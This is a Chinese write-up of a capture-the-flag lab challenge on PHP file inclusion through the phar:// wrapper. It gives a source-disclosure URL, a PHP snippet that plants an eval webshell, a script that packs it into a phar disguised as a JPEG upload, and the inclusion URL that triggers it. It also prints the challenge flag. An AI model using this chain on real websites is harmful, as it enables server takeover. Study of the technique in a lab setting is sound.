文件包含-Phar

[题目信息]:

题目名称题目难度
文件包含-Phar2

[题目考点]:

由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

以PHP为例,常用的文件包含函数有以下四种:
include(),require(),include_once(),require_once()

[Flag格式]:

SangFor{r5hvyWfzUiWo90zzYSdZ7VmAVJ3yNc78}

[环境部署]:

docker-compose.yml文件或者docker tar原始文件。

http://分配ip:11013

[题目writeup]:

1、实验主页

2、题解分析

扫描web目录可得upload.php,include.php两个新文件

include.php 存在文件包含漏洞

可以使用 include.php?file=php://filter/read=convert.base64-encode/resource=upload 来读取源码.

但是 include.php 限制了后缀只能是 .php,这里还不能截断
再看upload.php,限制了只能上传图片

这里唯一可用的就是 phar://这个协议了

来新建一个目录,名字为blog,下面放一个index.php,里面是一个写shell的php代码

<?php  file_put_contents('shell.php','<?php eval($_POST[1])?>'); ?>

在blog目录外创建一个打包的文件,build.php,代码如下:

<?php 

if(class_exists(‘Phar’)){

 $phar = new Phar('blog.phar',0,'blog.phar');

$phar -&gt;buildFromDirectory(DIR.’/blog’);

$phar-&gt;setStub($phar-&gt;createDefaultStub(‘index.php’));
$phar-&gt; compressFiles(Phar::GZ);

}

运行build.php,就会创建一个blog.phar, 然后把后缀名修改为 blog.jpg,然后上传:

然后访问:

/include.php?file=phar://upload/blog.jpg/index

就会在当前工作目录下生成一个shell.php,通过蚁剑连接。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值